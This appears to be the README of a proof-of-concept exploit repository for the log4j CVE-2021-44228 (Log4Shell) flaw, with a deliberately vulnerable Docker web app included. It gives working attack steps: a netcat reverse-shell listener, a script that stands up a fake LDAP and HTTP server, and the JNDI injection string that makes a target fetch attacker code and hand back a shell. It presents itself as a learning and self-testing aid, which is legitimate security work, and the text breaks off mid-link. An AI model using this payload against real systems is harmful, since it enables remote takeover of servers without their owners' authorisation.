# log4j-shell-poc
A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. <br><br>
Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others.

In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it.

Proof-of-concept (POC)

As a PoC there is a python file that automates the process. 

#### Requirements:
pip install -r requirements.txt
#### Usage:

* Start a netcat listener to accept reverse shell connection.<br>
nc -lvnp <netcat-port=example=2034>
* Launch the exploit.<br>
**Note:** For this to work, the extracted java archive has to be named: `jdk1.8.0_20`, and be in the same directory.
$ python3 --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>

[!] CVE: CVE-2021-44228

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}

Listening on

This script will setup the HTTP server and the LDAP server for you, and it will also create the payload that you can use to paste into the vulnerable parameter. After this, if everything went well, you should get a shell on the lport.


Vulnerable application

There is a Dockerfile with the vulnerable webapp. You can use this by following the steps below:
1: docker build -t log4j-shell-poc .
2: docker run  -p 8080:8080 log4j-shell-poc
Once it is running, you can access it on localhost:8080


Getting the Java version.

**Note:** You do need to make an account to be able to download the package.

Once you have downloaded and extracted the archive, you can find `java` and a few related binaries in `jdk1.8.0_20/bin`.<br>
**Note:** Make sure to extract the jdk folder into this repository with the same name in order for it to work.

โฏ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

This repository is not intended to be a one-click exploit to CVE-2021-44228. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications (however there are better applications for this purpose, ei: [](